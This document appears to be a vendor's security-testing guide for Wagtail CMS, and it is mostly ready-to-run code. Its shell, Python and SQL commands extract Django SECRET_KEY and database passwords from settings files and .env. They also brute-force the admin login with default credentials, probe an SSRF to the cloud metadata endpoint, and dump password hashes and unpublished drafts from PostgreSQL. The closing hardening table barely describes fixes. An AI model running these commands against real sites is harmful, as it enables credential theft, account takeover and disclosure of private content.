Wagtail CMS Security Testing: Default Credentials, API Key, Database, and CMS

Wagtail is the most popular Django-based CMS, used by the NHS, Google, NASA, and thousands of organizations. Key assessment areas: Django settings.py SECRET_KEY enables session and CSRF token forgery; DATABASES exposes PostgreSQL or SQLite credentials; admin at /admin or /cms; auth_user stores PBKDF2-SHA256 hashes; the Wagtail API v2 exposes page content; and draft page revisions in wagtailcore_revision contain unreleased content. This guide covers systematic Wagtail CMS security assessment.

Table of Contents

  1. settings.py SECRET_KEY and PostgreSQL Credential Extraction
  2. Wagtail Admin and API v2 Assessment
  3. PostgreSQL auth_user Hash and Content Extraction
  4. Wagtail CMS Security Hardening

settings.py SECRET_KEY and PostgreSQL Credential Extraction

# Wagtail CMS — settings.py SECRET_KEY and PostgreSQL credential extraction
WAGTAIL_URL="https://site.example.com"

# settings/production.py or settings.py — Django/Wagtail configuration
python3 -c "
import re
# Try common settings file locations
paths = [
    '/var/www/wagtail/mysite/settings/production.py',
    '/var/www/wagtail/mysite/settings.py',
    '/var/www/wagtail/settings/production.py',
    '/var/www/wagtail/config/settings/production.py',
]
for p in paths:
    try:
        content = open(p).read()
        sk = re.search(r'SECRET_KEY\s*=\s*[\"\'](.*?)[\"\']\s', content)
        if sk: print(f'SECRET_KEY: {sk.group(1)[:60]}')
        pw = re.search(r'\"PASSWORD\"\s*:\s*\"([^\"]+)\"', content)
        if pw: print(f'PostgreSQL password: {pw.group(1)[:60]}')
        host = re.search(r'\"HOST\"\s*:\s*\"([^\"]+)\"', content)
        if host: print(f'PostgreSQL host: {host.group(1)}')
        print(f'found in: {p}')
        break
    except: pass
" 2>/dev/null

# .env pattern (many Wagtail projects use python-decouple or django-environ)
grep -E "SECRET_KEY|DATABASE_URL|DB_PASSWORD" /var/www/wagtail/.env 2>/dev/null | head -5

# Check settings.py web access (must return 403)
for PATH_CHECK in "settings.py" "mysite/settings/production.py" ".env"; do
  STATUS=$(curl -s -o /dev/null -w "%{http_code}" "${WAGTAIL_URL}/${PATH_CHECK}" 2>/dev/null)
  echo "/${PATH_CHECK}: HTTP ${STATUS}"
done

# Wagtail admin at /admin (configurable via WAGTAILADMIN_BASE_URL or urls.py)
for ADMIN_PATH in "/admin" "/cms" "/wagtail"; do
  STATUS=$(curl -s -o /dev/null -w "%{http_code}" "${WAGTAIL_URL}${ADMIN_PATH}/" 2>/dev/null)
  echo "${ADMIN_PATH}/: HTTP ${STATUS}"
done

Wagtail Admin and API v2 Assessment

# Wagtail admin and API v2 content assessment
WAGTAIL_URL="https://site.example.com"
ADMIN_PASS="admin-password"

# Test admin credentials at Django admin login
for CRED in "admin:admin" "admin@site.com:wagtail" "superuser:password"; do
  USER=$(echo $CRED | cut -d: -f1)
  PASS=$(echo $CRED | cut -d: -f2)
  # Get CSRF token first
  CSRF=$(curl -sc /tmp/wag_c "${WAGTAIL_URL}/admin/login/" 2>/dev/null | \
    grep -oE 'csrfmiddlewaretoken[^>]+value="[^"]+"' | grep -oE '"[^"]+"' | tr -d '"' | head -1)
  STATUS=$(curl -s -o /dev/null -w "%{http_code}" \
    -X POST "${WAGTAIL_URL}/admin/login/" \
    -b /tmp/wag_c -c /tmp/wag_c \
    -d "username=${USER}&password=${PASS}&csrfmiddlewaretoken=${CSRF}" 2>/dev/null)
  echo "${USER}/${PASS}: HTTP ${STATUS}"
done

# Wagtail API v2 — page content enumeration (may be public)
curl -s "${WAGTAIL_URL}/api/v2/pages/?format=json&limit=10" 2>/dev/null | \
  python3 -c "
import json, sys
d = json.load(sys.stdin)
pages = d.get('items', [])
for p in pages:
    print(f'{p.get(\"id\")} | {p.get(\"title\")} | {p.get(\"meta\",{}).get(\"type\")} | live={p.get(\"meta\",{}).get(\"show_in_menus\")}')
" 2>/dev/null

# Wagtail API — images endpoint
curl -s "${WAGTAIL_URL}/api/v2/images/?format=json&limit=10" 2>/dev/null | \
  python3 -c "
import json, sys
d = json.load(sys.stdin)
for img in d.get('items', []):
    print(f'{img.get(\"title\")} | {img.get(\"download_url\")}')
" 2>/dev/null

# Wagtail chooser proxy — SSRF via EmbedFinder (if enabled)
curl -s "${WAGTAIL_URL}/admin/embeds/chooser/upload/?url=http://169.254.169.254/latest/meta-data/" \
  2>/dev/null | head -5

PostgreSQL auth_user Hash and Content Extraction

# Wagtail CMS — PostgreSQL auth_user hash and content extraction
DB_PASS="extracted-db-password"

psql -U wagtail -h localhost -d wagtail 2>/dev/null << 'EOF'
-- auth_user — Django user accounts with PBKDF2 hashes
SELECT u.id, u.username, u.email, u.password,
       u.is_superuser,  -- True = Django superuser (full admin access)
       u.is_staff,      -- True = Wagtail admin access
       u.is_active, u.date_joined, u.last_login
FROM auth_user u
WHERE u.is_active = true
ORDER BY u.is_superuser DESC, u.id;
-- password format: pbkdf2_sha256$ITERATIONS$SALT$HASH
-- PBKDF2-SHA256 resistant but crackable with weak passwords

-- wagtail_userprofile — Wagtail-specific user settings
SELECT p.user_id, u.username, u.email,
       p.preferred_language,
       p.avatar
FROM wagtailusers_userprofile p
JOIN auth_user u ON u.id = p.user_id
ORDER BY u.is_superuser DESC;

-- wagtailcore_page — all pages including draft and private
SELECT p.id, p.title, p.slug, p.live,
       p.has_unpublished_changes,
       p.owner_id, p.first_published_at, p.last_published_at,
       p.depth, p.path
FROM wagtailcore_page p
WHERE p.live = false   -- Unpublished pages
   OR p.has_unpublished_changes = true  -- Pages with unpublished edits
ORDER BY p.last_published_at DESC NULLS FIRST
LIMIT 20;

-- wagtailcore_revision — page revision content (includes all draft versions)
SELECT r.id, p.title AS page_title,
       r.created_at,
       r.approved_go_live_at,
       LEFT(r.content::text, 200) AS content_preview
FROM wagtailcore_revision r
JOIN wagtailcore_page p ON p.id = r.object_id::integer
ORDER BY r.created_at DESC
LIMIT 10;
EOF

Wagtail CMS Security Hardening

Wagtail CMS Security Hardening Checklist:
Security TestMethodRisk
settings.py SECRET_KEY and PostgreSQL PASSWORD extractionRead settings/production.py — SECRET_KEY for Django session/CSRF forgery + DATABASES PASSWORD; full database access to auth_user hashes and page contentCritical
auth_user PBKDF2-SHA256 hash extraction with is_superuser=True identificationPostgreSQL SELECT password FROM auth_user WHERE is_superuser=true — PBKDF2-SHA256 hashes; superuser = full Django admin + Wagtail admin + model accessHigh
Admin credential brute-force at /admin/login/POST /admin/login/ — username/password with CSRF token; no rate limiting by default; Django superuser session enables full admin accessHigh
Wagtail API v2 /api/v2/pages/ unauthenticated content enumerationGET /api/v2/pages/?format=json — enumerate published pages, slugs, and metadata without authentication if API is enabled without authMedium
wagtailcore_revision draft content enumeration via databasePostgreSQL SELECT content FROM wagtailcore_revision ORDER BY created_at DESC — embargoed draft content stored as JSON; accessible to all Wagtail admin usersMedium

Automate Wagtail CMS Security Testing

Ironimo tests Wagtail CMS deployments for settings.py SECRET_KEY and DATABASES PostgreSQL PASSWORD web and filesystem extraction, admin URL discovery (/admin, /cms, /wagtail), admin credential brute-force at /admin/login/ with rate limiting assessment, auth_user PBKDF2-SHA256 hash extraction with is_superuser=True identification, Wagtail API v2 /api/v2/pages/ and /api/v2/images/ unauthenticated enumeration, wagtailcore_revision draft content database access, wagtailcore_page unpublished page enumeration, embed SSRF via EmbedFinder assessment, and Wagtail/Django security advisory cross-reference via pip audit.

Start free scan